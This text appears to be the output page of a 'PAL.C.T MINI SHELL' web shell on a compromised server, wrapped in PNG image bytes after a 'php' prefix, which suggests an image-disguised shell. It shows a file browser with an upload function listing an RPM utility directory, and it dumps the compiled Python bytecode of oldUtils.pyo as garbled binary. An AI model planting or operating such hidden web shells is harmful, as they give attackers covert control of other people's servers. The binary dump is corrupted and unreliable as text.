php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/rpmUtils/
upload
files >> //usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyo

[c@s_ddkZddkZddkZddkZddkZddklZlZddklZddk	l
ZdZeZ
dZdZdd	Zd
ZdZdZd
ZdZdZddgZdeifdYZdddZdddYZdefdYZdefdYZdddYZdS( iN(twrite32utFNAME(tURLGrabError(terrorcCsti|IJdS(N(tsyststderr(tnumtmsg((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytlogscCs|S(N((R((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt_scCst|}d}|idjo
d}n1||ijp||ijo
d}n|o#tdtd||fndS(scheck a header by opening it and comparing the results to the name and arch
       we believe it to be for. if it fails raise URLGrabError(-1)iiis1Header cannot be opened or does not match %s, %s.N(tHeader_WorkthdrtNonetnametarchRR	(t
headerfileR
Rthtfail((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytcheckheaders
&
#icCstidti|ti}yti|Wntij
o}d}nXd}ti|tid|o,|pt	dt
d|qdSn|SdS(sdtake a package, check it out by trying to open it, return 1 if it's good
       return 0 if it's nottmd5iitdefaultisRPM %s fails md5 checkN(ttstsigCheckingtostopentO_RDONLYthdrFromFdnotrpmRtcloseRR	(tpackageturlgraberrortfdnotetgood((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytcheckRpmMD5%s


cCstidti|ti}yti|}Wnxtij
oi}t|djodSt|djodSt|djodSt|djodSn9Xt	|\}}|d	joti
|~d
S~ti
|dS(s take a package, check it's sigs, return 0 if they are all fine, return 
    1 if the gpg key can't be found,  2 if the header is in someway damaged,
    3 if the key is not trusted, 4 if the pkg is not gpg or pgp signedRspublic key not availaiableispublic key not availablespublic key not trustediserror reading package headeriieii(RRRRRRRRtstrt
getSigInfoR(RRRR Rtsiginfo((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytcheckSig;s*




cCsud}|i|}|djo"d}|id\}}}nd}d}d}d}|||f}||fS(sEchecks if a computerhand back signature information and an error codes%|DSAHEADER?{%{DSAHEADER:pgpsig}}:{%|RSAHEADER?{%{RSAHEADER:pgpsig}}:{%|SIGGPG?{%{SIGGPG:pgpsig}}:{%|SIGPGP?{%{SIGPGP:pgpsig}}:{(none)}|}|}|}|s(none)it,ietMD5R(tsprintftsplit(RtstringR%Rtsigtypetsigdatetsigidt	infotuple((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyR$Ws
cCs\g}|ti}|djon5t|tijo|i|n|i||S(N(RtRPMTAG_PROVIDENAMERttypettypestListTypetextendtappend(theadert	provnamestprovides((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytgetProvidesgs


c

Cs|\}}}|\}}}d}||}||}||}||}||}||}ti|||f|||f}	tdd|||||||	f|	S(NcSs7t|tijo|djot|}n|S(N(R1R2t
StringTypeRR#(targ((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytrpmOutToStrvs#is%s, %s, %s vs %s, %s, %s = %s(RtlabelCompareR(
t.0t.1te1tv1tr1te2tv2tr2R<trc((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt
compareEVRrs	$&cCs|o|titiBtiB@o|d}n|ti@o|d}n|ti@o|d}n|ti@o|d}|d|}qn|S(Nt t<t>t=s %s(Rt
RPMSENSE_LESStRPMSENSE_GREATERtRPMSENSE_EQUAL(R
tversiontflags((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt
formatRequires
cCsHytiti}Wn+tij
o}tdtdnX|S(NisFCould not open RPM database for reading. Perhaps it is already in use?(RtTransactionSettconftinstallrootRterrorlogR	(tdbR ((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt	openrpmdbs
tGzipFileRcBseZdZRS(cCs|iid|iid|id }d}|o
t}n|iit|t|itd|iid|iid|o|ii|dndS(Nssiisst(tfileobjtwritetfilenameRtchrRtlong(tselftfnameRP((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt_write_gzip_headers

(t__name__t
__module__Ra(((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRXstrbi	cCst|||S(N(RX(R\tmodet
compresslevel((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt	_gzipOpenst
RPM_Base_WorkcBskeZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZRS(cCs
d|_dS(N(RR(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt__init__scCs?|idjo$tdtdtidn|i|S(Nis-Got an empty Header, something has gone wrongi(RRRUR	Rtexit(R_ttag((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt_getTagscCs#|iddjodSdSdS(Nt
sourcepackageii(Rl(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytisSourcescCs
|idS(NR
(Rl(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyR
scCs
|idS(NR(Rl(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRscCs
|idS(Ntepoch(Rl(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRoscCs
|idS(NRO(Rl(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyROscCs
|idS(Ntrelease(Rl(R_((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRpscCs:|id}|id}|id}|||fS(NRoRORp(Rl(R_R tvtr((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytevrscCs^|id}|id}|id}|id}|id}|||||fS(NR
RoRORpR(Rl(R_tnR RqRrta((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytnevrasc
Cs|i\}}}}}|djo
d}n|iod|||||f}nd||||||f}|ot|d}	nt|d}	|	i|iid|	i|S(Nt0s%s/%s-%s-%s-%s.src.hdrs%s/%s-%s-%s-%s.%s.hdrtwi(	RvRRnRgRR[RtunloadR(
R_t	headerdirtcompressR
RotvertrelRtheaderfnt	headerout((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytwriteHeaders



(
RbRcRiRlRnR
RRoRORpRsRvR(((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRhs										R
cBseZdZdZRS(sfor operating on hdrs in and out of the rpmdb
       if the first arg is a string then it's a filename
       otherwise it's an rpm hdrcCsxt|tijoOygti|d}yti|i}Wn5tij
o&}t	dt
d|d}nXWntj
oi}t|d}yti|i}WqWtij
o&}t	dt
d|d}qWXndt
j
o&}t	dt
d|d}n3tj
o&}t	dt
d|d}nX|in|}||_dS(NRrisDamaged Header %s(R1R2R:tgzipRRt
headerLoadtreadRRUR	RtIOErrort
ValueErrort	zlibErrorRR(R_R6tfdRR ((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRis0
(RbRct__doc__Ri(((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyR
stRPM_WorkcBseZdZRS(cCstititi|ti}yti||_Wn>ti	j
o/}t
dtd||fd|_nXti
|dS(NisError opening rpm %s - error %s(Rt
setVSFlagsRt_RPMVSF_NOSIGNATURESRRRRRRRUR	RR(R_trpmfnRR ((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRis(RbRcRi(((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRstRpm_Ts_WorkcBs>eZdZddZdZddddZdZRS(sThis should operate on groups of headers/matches/etc in the rpmdb - ideally it will 
    operate with a list of the Base objects above, so I can refer to any one object there
    not sure the best way to do this yet, more thinking involvedt/cCsy/tio!tidjo
ti}q.nWntj
o	}nXti||_dddddddd	d
ddg|_dS(
NRt
addInstalltaddErasetruntchecktorderRtcloseDBtdbMatchtsetFlagsRt
setProbFilter(RSRTt	NameErrorRRRRtmethods(R_tdbPathR ((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRi!s
cCs.||ijot|i|St|dS(N(RtgetattrRtAttributeError(R_t	attribute((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt__getattr__.scCs[g}|djo-|djo |djo|ii}n|djo|ii||}n|djo)|ii}|i|ti|n|djo)|ii}|i|ti|n\|djo)|ii}|i|ti|n&|ii}|i|ti|x'|D]}t	|}|i
|q4W|S(s(hands back a list of Header_Work objectstglobtregextstrcmpN(RRRtpatternRtRPMMIRE_GLOBt
RPMMIRE_REGEXtRPMMIRE_STRCMPtRPMMIRE_DEFAULTR
R5(R_RktsearchtmirethwlistthdrlistRthdrobj((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pytmatch4s*'



cCs|djo|iititiBnS|djo|iitin.|djo|iitin
t|dS(sApass type of check you want to occur, default is to have them offRtnoneRN(RRRtRPMVSF_NOMD5tRPMVSF_NEEDPAYLOADRtRPMVSF_DEFAULTR(R_tsig((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRSs


N(RbRcRRiRRRR(((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyRs

	(((RR2RRRRRturlgrabber.grabberRtzlibRRRRUR	RR"R&R$R9RGRQRWt__all__RXRgRhR
RR(((s5/usr/lib/python2.6/site-packages/rpmUtils/oldUtils.pyt<module>s2										A 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`